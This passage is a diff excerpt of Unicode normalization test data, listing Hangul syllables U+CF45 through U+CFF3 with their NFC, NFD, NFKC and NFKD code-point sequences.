+{ source: [0xCF45], NFC: [0xCF45], NFD: [0x110F, 0x1168, 0x11B4], NFKC: [0xCF45], NFKD: [0x110F, 0x1168, 0x11B4] },
+{ source: [0xCF46], NFC: [0xCF46], NFD: [0x110F, 0x1168, 0x11B5], NFKC: [0xCF46], NFKD: [0x110F, 0x1168, 0x11B5] },
+{ source: [0xCF47], NFC: [0xCF47], NFD: [0x110F, 0x1168, 0x11B6], NFKC: [0xCF47], NFKD: [0x110F, 0x1168, 0x11B6] },
+{ source: [0xCF48], NFC: [0xCF48], NFD: [0x110F, 0x1168, 0x11B7], NFKC: [0xCF48], NFKD: [0x110F, 0x1168, 0x11B7] },
+{ source: [0xCF49], NFC: [0xCF49], NFD: [0x110F, 0x1168, 0x11B8], NFKC: [0xCF49], NFKD: [0x110F, 0x1168, 0x11B8] },
+{ source: [0xCF4A], NFC: [0xCF4A], NFD: [0x110F, 0x1168, 0x11B9], NFKC: [0xCF4A], NFKD: [0x110F, 0x1168, 0x11B9] },
+{ source: [0xCF4B], NFC: [0xCF4B], NFD: [0x110F, 0x1168, 0x11BA], NFKC: [0xCF4B], NFKD: [0x110F, 0x1168, 0x11BA] },
+{ source: [0xCF4C], NFC: [0xCF4C], NFD: [0x110F, 0x1168, 0x11BB], NFKC: [0xCF4C], NFKD: [0x110F, 0x1168, 0x11BB] },
+{ source: [0xCF4D], NFC: [0xCF4D], NFD: [0x110F, 0x1168, 0x11BC], NFKC: [0xCF4D], NFKD: [0x110F, 0x1168, 0x11BC] },
+{ source: [0xCF4E], NFC: [0xCF4E], NFD: [0x110F, 0x1168, 0x11BD], NFKC: [0xCF4E], NFKD: [0x110F, 0x1168, 0x11BD] },
+{ source: [0xCF4F], NFC: [0xCF4F], NFD: [0x110F, 0x1168, 0x11BE], NFKC: [0xCF4F], NFKD: [0x110F, 0x1168, 0x11BE] },
+{ source: [0xCF50], NFC: [0xCF50], NFD: [0x110F, 0x1168, 0x11BF], NFKC: [0xCF50], NFKD: [0x110F, 0x1168, 0x11BF] },
+{ source: [0xCF51], NFC: [0xCF51], NFD: [0x110F, 0x1168, 0x11C0], NFKC: [0xCF51], NFKD: [0x110F, 0x1168, 0x11C0] },
+{ source: [0xCF52], NFC: [0xCF52], NFD: [0x110F, 0x1168, 0x11C1], NFKC: [0xCF52], NFKD: [0x110F, 0x1168, 0x11C1] },
+{ source: [0xCF53], NFC: [0xCF53], NFD: [0x110F, 0x1168, 0x11C2], NFKC: [0xCF53], NFKD: [0x110F, 0x1168, 0x11C2] },
+{ source: [0xCF54], NFC: [0xCF54], NFD: [0x110F, 0x1169], NFKC: [0xCF54], NFKD: [0x110F, 0x1169] },
+{ source: [0xCF55], NFC: [0xCF55], NFD: [0x110F, 0x1169, 0x11A8], NFKC: [0xCF55], NFKD: [0x110F, 0x1169, 0x11A8] },
+{ source: [0xCF56], NFC: [0xCF56], NFD: [0x110F, 0x1169, 0x11A9], NFKC: [0xCF56], NFKD: [0x110F, 0x1169, 0x11A9] },
+{ source: [0xCF57], NFC: [0xCF57], NFD: [0x110F, 0x1169, 0x11AA], NFKC: [0xCF57], NFKD: [0x110F, 0x1169, 0x11AA] },
+{ source: [0xCF58], NFC: [0xCF58], NFD: [0x110F, 0x1169, 0x11AB], NFKC: [0xCF58], NFKD: [0x110F, 0x1169, 0x11AB] },
+{ source: [0xCF59], NFC: [0xCF59], NFD: [0x110F, 0x1169, 0x11AC], NFKC: [0xCF59], NFKD: [0x110F, 0x1169, 0x11AC] },
+{ source: [0xCF5A], NFC: [0xCF5A], NFD: [0x110F, 0x1169, 0x11AD], NFKC: [0xCF5A], NFKD: [0x110F, 0x1169, 0x11AD] },
+{ source: [0xCF5B], NFC: [0xCF5B], NFD: [0x110F, 0x1169, 0x11AE], NFKC: [0xCF5B], NFKD: [0x110F, 0x1169, 0x11AE] },
+{ source: [0xCF5C], NFC: [0xCF5C], NFD: [0x110F, 0x1169, 0x11AF], NFKC: [0xCF5C], NFKD: [0x110F, 0x1169, 0x11AF] },
+{ source: [0xCF5D], NFC: [0xCF5D], NFD: [0x110F, 0x1169, 0x11B0], NFKC: [0xCF5D], NFKD: [0x110F, 0x1169, 0x11B0] },
+{ source: [0xCF5E], NFC: [0xCF5E], NFD: [0x110F, 0x1169, 0x11B1], NFKC: [0xCF5E], NFKD: [0x110F, 0x1169, 0x11B1] },
+{ source: [0xCF5F], NFC: [0xCF5F], NFD: [0x110F, 0x1169, 0x11B2], NFKC: [0xCF5F], NFKD: [0x110F, 0x1169, 0x11B2] },
+{ source: [0xCF60], NFC: [0xCF60], NFD: [0x110F, 0x1169, 0x11B3], NFKC: [0xCF60], NFKD: [0x110F, 0x1169, 0x11B3] },
+{ source: [0xCF61], NFC: [0xCF61], NFD: [0x110F, 0x1169, 0x11B4], NFKC: [0xCF61], NFKD: [0x110F, 0x1169, 0x11B4] },
+{ source: [0xCF62], NFC: [0xCF62], NFD: [0x110F, 0x1169, 0x11B5], NFKC: [0xCF62], NFKD: [0x110F, 0x1169, 0x11B5] },
+{ source: [0xCF63], NFC: [0xCF63], NFD: [0x110F, 0x1169, 0x11B6], NFKC: [0xCF63], NFKD: [0x110F, 0x1169, 0x11B6] },
+{ source: [0xCF64], NFC: [0xCF64], NFD: [0x110F, 0x1169, 0x11B7], NFKC: [0xCF64], NFKD: [0x110F, 0x1169, 0x11B7] },
+{ source: [0xCF65], NFC: [0xCF65], NFD: [0x110F, 0x1169, 0x11B8], NFKC: [0xCF65], NFKD: [0x110F, 0x1169, 0x11B8] },
+{ source: [0xCF66], NFC: [0xCF66], NFD: [0x110F, 0x1169, 0x11B9], NFKC: [0xCF66], NFKD: [0x110F, 0x1169, 0x11B9] },
+{ source: [0xCF67], NFC: [0xCF67], NFD: [0x110F, 0x1169, 0x11BA], NFKC: [0xCF67], NFKD: [0x110F, 0x1169, 0x11BA] },
+{ source: [0xCF68], NFC: [0xCF68], NFD: [0x110F, 0x1169, 0x11BB], NFKC: [0xCF68], NFKD: [0x110F, 0x1169, 0x11BB] },
+{ source: [0xCF69], NFC: [0xCF69], NFD: [0x110F, 0x1169, 0x11BC], NFKC: [0xCF69], NFKD: [0x110F, 0x1169, 0x11BC] },
+{ source: [0xCF6A], NFC: [0xCF6A], NFD: [0x110F, 0x1169, 0x11BD], NFKC: [0xCF6A], NFKD: [0x110F, 0x1169, 0x11BD] },
+{ source: [0xCF6B], NFC: [0xCF6B], NFD: [0x110F, 0x1169, 0x11BE], NFKC: [0xCF6B], NFKD: [0x110F, 0x1169, 0x11BE] },
+{ source: [0xCF6C], NFC: [0xCF6C], NFD: [0x110F, 0x1169, 0x11BF], NFKC: [0xCF6C], NFKD: [0x110F, 0x1169, 0x11BF] },
+{ source: [0xCF6D], NFC: [0xCF6D], NFD: [0x110F, 0x1169, 0x11C0], NFKC: [0xCF6D], NFKD: [0x110F, 0x1169, 0x11C0] },
+{ source: [0xCF6E], NFC: [0xCF6E], NFD: [0x110F, 0x1169, 0x11C1], NFKC: [0xCF6E], NFKD: [0x110F, 0x1169, 0x11C1] },
+{ source: [0xCF6F], NFC: [0xCF6F], NFD: [0x110F, 0x1169, 0x11C2], NFKC: [0xCF6F], NFKD: [0x110F, 0x1169, 0x11C2] },
+{ source: [0xCF70], NFC: [0xCF70], NFD: [0x110F, 0x116A], NFKC: [0xCF70], NFKD: [0x110F, 0x116A] },
+{ source: [0xCF71], NFC: [0xCF71], NFD: [0x110F, 0x116A, 0x11A8], NFKC: [0xCF71], NFKD: [0x110F, 0x116A, 0x11A8] },
+{ source: [0xCF72], NFC: [0xCF72], NFD: [0x110F, 0x116A, 0x11A9], NFKC: [0xCF72], NFKD: [0x110F, 0x116A, 0x11A9] },
+{ source: [0xCF73], NFC: [0xCF73], NFD: [0x110F, 0x116A, 0x11AA], NFKC: [0xCF73], NFKD: [0x110F, 0x116A, 0x11AA] },
+{ source: [0xCF74], NFC: [0xCF74], NFD: [0x110F, 0x116A, 0x11AB], NFKC: [0xCF74], NFKD: [0x110F, 0x116A, 0x11AB] },
+{ source: [0xCF75], NFC: [0xCF75], NFD: [0x110F, 0x116A, 0x11AC], NFKC: [0xCF75], NFKD: [0x110F, 0x116A, 0x11AC] },
+{ source: [0xCF76], NFC: [0xCF76], NFD: [0x110F, 0x116A, 0x11AD], NFKC: [0xCF76], NFKD: [0x110F, 0x116A, 0x11AD] },
+{ source: [0xCF77], NFC: [0xCF77], NFD: [0x110F, 0x116A, 0x11AE], NFKC: [0xCF77], NFKD: [0x110F, 0x116A, 0x11AE] },
+{ source: [0xCF78], NFC: [0xCF78], NFD: [0x110F, 0x116A, 0x11AF], NFKC: [0xCF78], NFKD: [0x110F, 0x116A, 0x11AF] },
+{ source: [0xCF79], NFC: [0xCF79], NFD: [0x110F, 0x116A, 0x11B0], NFKC: [0xCF79], NFKD: [0x110F, 0x116A, 0x11B0] },
+{ source: [0xCF7A], NFC: [0xCF7A], NFD: [0x110F, 0x116A, 0x11B1], NFKC: [0xCF7A], NFKD: [0x110F, 0x116A, 0x11B1] },
+{ source: [0xCF7B], NFC: [0xCF7B], NFD: [0x110F, 0x116A, 0x11B2], NFKC: [0xCF7B], NFKD: [0x110F, 0x116A, 0x11B2] },
+{ source: [0xCF7C], NFC: [0xCF7C], NFD: [0x110F, 0x116A, 0x11B3], NFKC: [0xCF7C], NFKD: [0x110F, 0x116A, 0x11B3] },
+{ source: [0xCF7D], NFC: [0xCF7D], NFD: [0x110F, 0x116A, 0x11B4], NFKC: [0xCF7D], NFKD: [0x110F, 0x116A, 0x11B4] },
+{ source: [0xCF7E], NFC: [0xCF7E], NFD: [0x110F, 0x116A, 0x11B5], NFKC: [0xCF7E], NFKD: [0x110F, 0x116A, 0x11B5] },
+{ source: [0xCF7F], NFC: [0xCF7F], NFD: [0x110F, 0x116A, 0x11B6], NFKC: [0xCF7F], NFKD: [0x110F, 0x116A, 0x11B6] },
+{ source: [0xCF80], NFC: [0xCF80], NFD: [0x110F, 0x116A, 0x11B7], NFKC: [0xCF80], NFKD: [0x110F, 0x116A, 0x11B7] },
+{ source: [0xCF81], NFC: [0xCF81], NFD: [0x110F, 0x116A, 0x11B8], NFKC: [0xCF81], NFKD: [0x110F, 0x116A, 0x11B8] },
+{ source: [0xCF82], NFC: [0xCF82], NFD: [0x110F, 0x116A, 0x11B9], NFKC: [0xCF82], NFKD: [0x110F, 0x116A, 0x11B9] },
+{ source: [0xCF83], NFC: [0xCF83], NFD: [0x110F, 0x116A, 0x11BA], NFKC: [0xCF83], NFKD: [0x110F, 0x116A, 0x11BA] },
+{ source: [0xCF84], NFC: [0xCF84], NFD: [0x110F, 0x116A, 0x11BB], NFKC: [0xCF84], NFKD: [0x110F, 0x116A, 0x11BB] },
+{ source: [0xCF85], NFC: [0xCF85], NFD: [0x110F, 0x116A, 0x11BC], NFKC: [0xCF85], NFKD: [0x110F, 0x116A, 0x11BC] },
+{ source: [0xCF86], NFC: [0xCF86], NFD: [0x110F, 0x116A, 0x11BD], NFKC: [0xCF86], NFKD: [0x110F, 0x116A, 0x11BD] },
+{ source: [0xCF87], NFC: [0xCF87], NFD: [0x110F, 0x116A, 0x11BE], NFKC: [0xCF87], NFKD: [0x110F, 0x116A, 0x11BE] },
+{ source: [0xCF88], NFC: [0xCF88], NFD: [0x110F, 0x116A, 0x11BF], NFKC: [0xCF88], NFKD: [0x110F, 0x116A, 0x11BF] },
+{ source: [0xCF89], NFC: [0xCF89], NFD: [0x110F, 0x116A, 0x11C0], NFKC: [0xCF89], NFKD: [0x110F, 0x116A, 0x11C0] },
+{ source: [0xCF8A], NFC: [0xCF8A], NFD: [0x110F, 0x116A, 0x11C1], NFKC: [0xCF8A], NFKD: [0x110F, 0x116A, 0x11C1] },
+{ source: [0xCF8B], NFC: [0xCF8B], NFD: [0x110F, 0x116A, 0x11C2], NFKC: [0xCF8B], NFKD: [0x110F, 0x116A, 0x11C2] },
+{ source: [0xCF8C], NFC: [0xCF8C], NFD: [0x110F, 0x116B], NFKC: [0xCF8C], NFKD: [0x110F, 0x116B] },
+{ source: [0xCF8D], NFC: [0xCF8D], NFD: [0x110F, 0x116B, 0x11A8], NFKC: [0xCF8D], NFKD: [0x110F, 0x116B, 0x11A8] },
+{ source: [0xCF8E], NFC: [0xCF8E], NFD: [0x110F, 0x116B, 0x11A9], NFKC: [0xCF8E], NFKD: [0x110F, 0x116B, 0x11A9] },
+{ source: [0xCF8F], NFC: [0xCF8F], NFD: [0x110F, 0x116B, 0x11AA], NFKC: [0xCF8F], NFKD: [0x110F, 0x116B, 0x11AA] },
+{ source: [0xCF90], NFC: [0xCF90], NFD: [0x110F, 0x116B, 0x11AB], NFKC: [0xCF90], NFKD: [0x110F, 0x116B, 0x11AB] },
+{ source: [0xCF91], NFC: [0xCF91], NFD: [0x110F, 0x116B, 0x11AC], NFKC: [0xCF91], NFKD: [0x110F, 0x116B, 0x11AC] },
+{ source: [0xCF92], NFC: [0xCF92], NFD: [0x110F, 0x116B, 0x11AD], NFKC: [0xCF92], NFKD: [0x110F, 0x116B, 0x11AD] },
+{ source: [0xCF93], NFC: [0xCF93], NFD: [0x110F, 0x116B, 0x11AE], NFKC: [0xCF93], NFKD: [0x110F, 0x116B, 0x11AE] },
+{ source: [0xCF94], NFC: [0xCF94], NFD: [0x110F, 0x116B, 0x11AF], NFKC: [0xCF94], NFKD: [0x110F, 0x116B, 0x11AF] },
+{ source: [0xCF95], NFC: [0xCF95], NFD: [0x110F, 0x116B, 0x11B0], NFKC: [0xCF95], NFKD: [0x110F, 0x116B, 0x11B0] },
+{ source: [0xCF96], NFC: [0xCF96], NFD: [0x110F, 0x116B, 0x11B1], NFKC: [0xCF96], NFKD: [0x110F, 0x116B, 0x11B1] },
+{ source: [0xCF97], NFC: [0xCF97], NFD: [0x110F, 0x116B, 0x11B2], NFKC: [0xCF97], NFKD: [0x110F, 0x116B, 0x11B2] },
+{ source: [0xCF98], NFC: [0xCF98], NFD: [0x110F, 0x116B, 0x11B3], NFKC: [0xCF98], NFKD: [0x110F, 0x116B, 0x11B3] },
+{ source: [0xCF99], NFC: [0xCF99], NFD: [0x110F, 0x116B, 0x11B4], NFKC: [0xCF99], NFKD: [0x110F, 0x116B, 0x11B4] },
+{ source: [0xCF9A], NFC: [0xCF9A], NFD: [0x110F, 0x116B, 0x11B5], NFKC: [0xCF9A], NFKD: [0x110F, 0x116B, 0x11B5] },
+{ source: [0xCF9B], NFC: [0xCF9B], NFD: [0x110F, 0x116B, 0x11B6], NFKC: [0xCF9B], NFKD: [0x110F, 0x116B, 0x11B6] },
+{ source: [0xCF9C], NFC: [0xCF9C], NFD: [0x110F, 0x116B, 0x11B7], NFKC: [0xCF9C], NFKD: [0x110F, 0x116B, 0x11B7] },
+{ source: [0xCF9D], NFC: [0xCF9D], NFD: [0x110F, 0x116B, 0x11B8], NFKC: [0xCF9D], NFKD: [0x110F, 0x116B, 0x11B8] },
+{ source: [0xCF9E], NFC: [0xCF9E], NFD: [0x110F, 0x116B, 0x11B9], NFKC: [0xCF9E], NFKD: [0x110F, 0x116B, 0x11B9] },
+{ source: [0xCF9F], NFC: [0xCF9F], NFD: [0x110F, 0x116B, 0x11BA], NFKC: [0xCF9F], NFKD: [0x110F, 0x116B, 0x11BA] },
+{ source: [0xCFA0], NFC: [0xCFA0], NFD: [0x110F, 0x116B, 0x11BB], NFKC: [0xCFA0], NFKD: [0x110F, 0x116B, 0x11BB] },
+{ source: [0xCFA1], NFC: [0xCFA1], NFD: [0x110F, 0x116B, 0x11BC], NFKC: [0xCFA1], NFKD: [0x110F, 0x116B, 0x11BC] },
+{ source: [0xCFA2], NFC: [0xCFA2], NFD: [0x110F, 0x116B, 0x11BD], NFKC: [0xCFA2], NFKD: [0x110F, 0x116B, 0x11BD] },
+{ source: [0xCFA3], NFC: [0xCFA3], NFD: [0x110F, 0x116B, 0x11BE], NFKC: [0xCFA3], NFKD: [0x110F, 0x116B, 0x11BE] },
+{ source: [0xCFA4], NFC: [0xCFA4], NFD: [0x110F, 0x116B, 0x11BF], NFKC: [0xCFA4], NFKD: [0x110F, 0x116B, 0x11BF] },
+{ source: [0xCFA5], NFC: [0xCFA5], NFD: [0x110F, 0x116B, 0x11C0], NFKC: [0xCFA5], NFKD: [0x110F, 0x116B, 0x11C0] },
+{ source: [0xCFA6], NFC: [0xCFA6], NFD: [0x110F, 0x116B, 0x11C1], NFKC: [0xCFA6], NFKD: [0x110F, 0x116B, 0x11C1] },
+{ source: [0xCFA7], NFC: [0xCFA7], NFD: [0x110F, 0x116B, 0x11C2], NFKC: [0xCFA7], NFKD: [0x110F, 0x116B, 0x11C2] },
+{ source: [0xCFA8], NFC: [0xCFA8], NFD: [0x110F, 0x116C], NFKC: [0xCFA8], NFKD: [0x110F, 0x116C] },
+{ source: [0xCFA9], NFC: [0xCFA9], NFD: [0x110F, 0x116C, 0x11A8], NFKC: [0xCFA9], NFKD: [0x110F, 0x116C, 0x11A8] },
+{ source: [0xCFAA], NFC: [0xCFAA], NFD: [0x110F, 0x116C, 0x11A9], NFKC: [0xCFAA], NFKD: [0x110F, 0x116C, 0x11A9] },
+{ source: [0xCFAB], NFC: [0xCFAB], NFD: [0x110F, 0x116C, 0x11AA], NFKC: [0xCFAB], NFKD: [0x110F, 0x116C, 0x11AA] },
+{ source: [0xCFAC], NFC: [0xCFAC], NFD: [0x110F, 0x116C, 0x11AB], NFKC: [0xCFAC], NFKD: [0x110F, 0x116C, 0x11AB] },
+{ source: [0xCFAD], NFC: [0xCFAD], NFD: [0x110F, 0x116C, 0x11AC], NFKC: [0xCFAD], NFKD: [0x110F, 0x116C, 0x11AC] },
+{ source: [0xCFAE], NFC: [0xCFAE], NFD: [0x110F, 0x116C, 0x11AD], NFKC: [0xCFAE], NFKD: [0x110F, 0x116C, 0x11AD] },
+{ source: [0xCFAF], NFC: [0xCFAF], NFD: [0x110F, 0x116C, 0x11AE], NFKC: [0xCFAF], NFKD: [0x110F, 0x116C, 0x11AE] },
+{ source: [0xCFB0], NFC: [0xCFB0], NFD: [0x110F, 0x116C, 0x11AF], NFKC: [0xCFB0], NFKD: [0x110F, 0x116C, 0x11AF] },
+{ source: [0xCFB1], NFC: [0xCFB1], NFD: [0x110F, 0x116C, 0x11B0], NFKC: [0xCFB1], NFKD: [0x110F, 0x116C, 0x11B0] },
+{ source: [0xCFB2], NFC: [0xCFB2], NFD: [0x110F, 0x116C, 0x11B1], NFKC: [0xCFB2], NFKD: [0x110F, 0x116C, 0x11B1] },
+{ source: [0xCFB3], NFC: [0xCFB3], NFD: [0x110F, 0x116C, 0x11B2], NFKC: [0xCFB3], NFKD: [0x110F, 0x116C, 0x11B2] },
+{ source: [0xCFB4], NFC: [0xCFB4], NFD: [0x110F, 0x116C, 0x11B3], NFKC: [0xCFB4], NFKD: [0x110F, 0x116C, 0x11B3] },
+{ source: [0xCFB5], NFC: [0xCFB5], NFD: [0x110F, 0x116C, 0x11B4], NFKC: [0xCFB5], NFKD: [0x110F, 0x116C, 0x11B4] },
+{ source: [0xCFB6], NFC: [0xCFB6], NFD: [0x110F, 0x116C, 0x11B5], NFKC: [0xCFB6], NFKD: [0x110F, 0x116C, 0x11B5] },
+{ source: [0xCFB7], NFC: [0xCFB7], NFD: [0x110F, 0x116C, 0x11B6], NFKC: [0xCFB7], NFKD: [0x110F, 0x116C, 0x11B6] },
+{ source: [0xCFB8], NFC: [0xCFB8], NFD: [0x110F, 0x116C, 0x11B7], NFKC: [0xCFB8], NFKD: [0x110F, 0x116C, 0x11B7] },
+{ source: [0xCFB9], NFC: [0xCFB9], NFD: [0x110F, 0x116C, 0x11B8], NFKC: [0xCFB9], NFKD: [0x110F, 0x116C, 0x11B8] },
+{ source: [0xCFBA], NFC: [0xCFBA], NFD: [0x110F, 0x116C, 0x11B9], NFKC: [0xCFBA], NFKD: [0x110F, 0x116C, 0x11B9] },
+{ source: [0xCFBB], NFC: [0xCFBB], NFD: [0x110F, 0x116C, 0x11BA], NFKC: [0xCFBB], NFKD: [0x110F, 0x116C, 0x11BA] },
+{ source: [0xCFBC], NFC: [0xCFBC], NFD: [0x110F, 0x116C, 0x11BB], NFKC: [0xCFBC], NFKD: [0x110F, 0x116C, 0x11BB] },
+{ source: [0xCFBD], NFC: [0xCFBD], NFD: [0x110F, 0x116C, 0x11BC], NFKC: [0xCFBD], NFKD: [0x110F, 0x116C, 0x11BC] },
+{ source: [0xCFBE], NFC: [0xCFBE], NFD: [0x110F, 0x116C, 0x11BD], NFKC: [0xCFBE], NFKD: [0x110F, 0x116C, 0x11BD] },
+{ source: [0xCFBF], NFC: [0xCFBF], NFD: [0x110F, 0x116C, 0x11BE], NFKC: [0xCFBF], NFKD: [0x110F, 0x116C, 0x11BE] },
+{ source: [0xCFC0], NFC: [0xCFC0], NFD: [0x110F, 0x116C, 0x11BF], NFKC: [0xCFC0], NFKD: [0x110F, 0x116C, 0x11BF] },
+{ source: [0xCFC1], NFC: [0xCFC1], NFD: [0x110F, 0x116C, 0x11C0], NFKC: [0xCFC1], NFKD: [0x110F, 0x116C, 0x11C0] },
+{ source: [0xCFC2], NFC: [0xCFC2], NFD: [0x110F, 0x116C, 0x11C1], NFKC: [0xCFC2], NFKD: [0x110F, 0x116C, 0x11C1] },
+{ source: [0xCFC3], NFC: [0xCFC3], NFD: [0x110F, 0x116C, 0x11C2], NFKC: [0xCFC3], NFKD: [0x110F, 0x116C, 0x11C2] },
+{ source: [0xCFC4], NFC: [0xCFC4], NFD: [0x110F, 0x116D], NFKC: [0xCFC4], NFKD: [0x110F, 0x116D] },
+{ source: [0xCFC5], NFC: [0xCFC5], NFD: [0x110F, 0x116D, 0x11A8], NFKC: [0xCFC5], NFKD: [0x110F, 0x116D, 0x11A8] },
+{ source: [0xCFC6], NFC: [0xCFC6], NFD: [0x110F, 0x116D, 0x11A9], NFKC: [0xCFC6], NFKD: [0x110F, 0x116D, 0x11A9] },
+{ source: [0xCFC7], NFC: [0xCFC7], NFD: [0x110F, 0x116D, 0x11AA], NFKC: [0xCFC7], NFKD: [0x110F, 0x116D, 0x11AA] },
+{ source: [0xCFC8], NFC: [0xCFC8], NFD: [0x110F, 0x116D, 0x11AB], NFKC: [0xCFC8], NFKD: [0x110F, 0x116D, 0x11AB] },
+{ source: [0xCFC9], NFC: [0xCFC9], NFD: [0x110F, 0x116D, 0x11AC], NFKC: [0xCFC9], NFKD: [0x110F, 0x116D, 0x11AC] },
+{ source: [0xCFCA], NFC: [0xCFCA], NFD: [0x110F, 0x116D, 0x11AD], NFKC: [0xCFCA], NFKD: [0x110F, 0x116D, 0x11AD] },
+{ source: [0xCFCB], NFC: [0xCFCB], NFD: [0x110F, 0x116D, 0x11AE], NFKC: [0xCFCB], NFKD: [0x110F, 0x116D, 0x11AE] },
+{ source: [0xCFCC], NFC: [0xCFCC], NFD: [0x110F, 0x116D, 0x11AF], NFKC: [0xCFCC], NFKD: [0x110F, 0x116D, 0x11AF] },
+{ source: [0xCFCD], NFC: [0xCFCD], NFD: [0x110F, 0x116D, 0x11B0], NFKC: [0xCFCD], NFKD: [0x110F, 0x116D, 0x11B0] },
+{ source: [0xCFCE], NFC: [0xCFCE], NFD: [0x110F, 0x116D, 0x11B1], NFKC: [0xCFCE], NFKD: [0x110F, 0x116D, 0x11B1] },
+{ source: [0xCFCF], NFC: [0xCFCF], NFD: [0x110F, 0x116D, 0x11B2], NFKC: [0xCFCF], NFKD: [0x110F, 0x116D, 0x11B2] },
+{ source: [0xCFD0], NFC: [0xCFD0], NFD: [0x110F, 0x116D, 0x11B3], NFKC: [0xCFD0], NFKD: [0x110F, 0x116D, 0x11B3] },
+{ source: [0xCFD1], NFC: [0xCFD1], NFD: [0x110F, 0x116D, 0x11B4], NFKC: [0xCFD1], NFKD: [0x110F, 0x116D, 0x11B4] },
+{ source: [0xCFD2], NFC: [0xCFD2], NFD: [0x110F, 0x116D, 0x11B5], NFKC: [0xCFD2], NFKD: [0x110F, 0x116D, 0x11B5] },
+{ source: [0xCFD3], NFC: [0xCFD3], NFD: [0x110F, 0x116D, 0x11B6], NFKC: [0xCFD3], NFKD: [0x110F, 0x116D, 0x11B6] },
+{ source: [0xCFD4], NFC: [0xCFD4], NFD: [0x110F, 0x116D, 0x11B7], NFKC: [0xCFD4], NFKD: [0x110F, 0x116D, 0x11B7] },
+{ source: [0xCFD5], NFC: [0xCFD5], NFD: [0x110F, 0x116D, 0x11B8], NFKC: [0xCFD5], NFKD: [0x110F, 0x116D, 0x11B8] },
+{ source: [0xCFD6], NFC: [0xCFD6], NFD: [0x110F, 0x116D, 0x11B9], NFKC: [0xCFD6], NFKD: [0x110F, 0x116D, 0x11B9] },
+{ source: [0xCFD7], NFC: [0xCFD7], NFD: [0x110F, 0x116D, 0x11BA], NFKC: [0xCFD7], NFKD: [0x110F, 0x116D, 0x11BA] },
+{ source: [0xCFD8], NFC: [0xCFD8], NFD: [0x110F, 0x116D, 0x11BB], NFKC: [0xCFD8], NFKD: [0x110F, 0x116D, 0x11BB] },
+{ source: [0xCFD9], NFC: [0xCFD9], NFD: [0x110F, 0x116D, 0x11BC], NFKC: [0xCFD9], NFKD: [0x110F, 0x116D, 0x11BC] },
+{ source: [0xCFDA], NFC: [0xCFDA], NFD: [0x110F, 0x116D, 0x11BD], NFKC: [0xCFDA], NFKD: [0x110F, 0x116D, 0x11BD] },
+{ source: [0xCFDB], NFC: [0xCFDB], NFD: [0x110F, 0x116D, 0x11BE], NFKC: [0xCFDB], NFKD: [0x110F, 0x116D, 0x11BE] },
+{ source: [0xCFDC], NFC: [0xCFDC], NFD: [0x110F, 0x116D, 0x11BF], NFKC: [0xCFDC], NFKD: [0x110F, 0x116D, 0x11BF] },
+{ source: [0xCFDD], NFC: [0xCFDD], NFD: [0x110F, 0x116D, 0x11C0], NFKC: [0xCFDD], NFKD: [0x110F, 0x116D, 0x11C0] },
+{ source: [0xCFDE], NFC: [0xCFDE], NFD: [0x110F, 0x116D, 0x11C1], NFKC: [0xCFDE], NFKD: [0x110F, 0x116D, 0x11C1] },
+{ source: [0xCFDF], NFC: [0xCFDF], NFD: [0x110F, 0x116D, 0x11C2], NFKC: [0xCFDF], NFKD: [0x110F, 0x116D, 0x11C2] },
+{ source: [0xCFE0], NFC: [0xCFE0], NFD: [0x110F, 0x116E], NFKC: [0xCFE0], NFKD: [0x110F, 0x116E] },
+{ source: [0xCFE1], NFC: [0xCFE1], NFD: [0x110F, 0x116E, 0x11A8], NFKC: [0xCFE1], NFKD: [0x110F, 0x116E, 0x11A8] },
+{ source: [0xCFE2], NFC: [0xCFE2], NFD: [0x110F, 0x116E, 0x11A9], NFKC: [0xCFE2], NFKD: [0x110F, 0x116E, 0x11A9] },
+{ source: [0xCFE3], NFC: [0xCFE3], NFD: [0x110F, 0x116E, 0x11AA], NFKC: [0xCFE3], NFKD: [0x110F, 0x116E, 0x11AA] },
+{ source: [0xCFE4], NFC: [0xCFE4], NFD: [0x110F, 0x116E, 0x11AB], NFKC: [0xCFE4], NFKD: [0x110F, 0x116E, 0x11AB] },
+{ source: [0xCFE5], NFC: [0xCFE5], NFD: [0x110F, 0x116E, 0x11AC], NFKC: [0xCFE5], NFKD: [0x110F, 0x116E, 0x11AC] },
+{ source: [0xCFE6], NFC: [0xCFE6], NFD: [0x110F, 0x116E, 0x11AD], NFKC: [0xCFE6], NFKD: [0x110F, 0x116E, 0x11AD] },
+{ source: [0xCFE7], NFC: [0xCFE7], NFD: [0x110F, 0x116E, 0x11AE], NFKC: [0xCFE7], NFKD: [0x110F, 0x116E, 0x11AE] },
+{ source: [0xCFE8], NFC: [0xCFE8], NFD: [0x110F, 0x116E, 0x11AF], NFKC: [0xCFE8], NFKD: [0x110F, 0x116E, 0x11AF] },
+{ source: [0xCFE9], NFC: [0xCFE9], NFD: [0x110F, 0x116E, 0x11B0], NFKC: [0xCFE9], NFKD: [0x110F, 0x116E, 0x11B0] },
+{ source: [0xCFEA], NFC: [0xCFEA], NFD: [0x110F, 0x116E, 0x11B1], NFKC: [0xCFEA], NFKD: [0x110F, 0x116E, 0x11B1] },
+{ source: [0xCFEB], NFC: [0xCFEB], NFD: [0x110F, 0x116E, 0x11B2], NFKC: [0xCFEB], NFKD: [0x110F, 0x116E, 0x11B2] },
+{ source: [0xCFEC], NFC: [0xCFEC], NFD: [0x110F, 0x116E, 0x11B3], NFKC: [0xCFEC], NFKD: [0x110F, 0x116E, 0x11B3] },
+{ source: [0xCFED], NFC: [0xCFED], NFD: [0x110F, 0x116E, 0x11B4], NFKC: [0xCFED], NFKD: [0x110F, 0x116E, 0x11B4] },
+{ source: [0xCFEE], NFC: [0xCFEE], NFD: [0x110F, 0x116E, 0x11B5], NFKC: [0xCFEE], NFKD: [0x110F, 0x116E, 0x11B5] },
+{ source: [0xCFEF], NFC: [0xCFEF], NFD: [0x110F, 0x116E, 0x11B6], NFKC: [0xCFEF], NFKD: [0x110F, 0x116E, 0x11B6] },
+{ source: [0xCFF0], NFC: [0xCFF0], NFD: [0x110F, 0x116E, 0x11B7], NFKC: [0xCFF0], NFKD: [0x110F, 0x116E, 0x11B7] },
+{ source: [0xCFF1], NFC: [0xCFF1], NFD: [0x110F, 0x116E, 0x11B8], NFKC: [0xCFF1], NFKD: [0x110F, 0x116E, 0x11B8] },
+{ source: [0xCFF2], NFC: [0xCFF2], NFD: [0x110F, 0x116E, 0x11B9], NFKC: [0xCFF2], NFKD: [0x110F, 0x116E, 0x11B9] },
+{ source: [0xCFF3], NFC: [0xCFF3], NFD: [0x110F, 0x116E, 0x11BA], NFKC: [0xCFF3], NFKD: [0x110F, 0x116E, 0x11BA] },
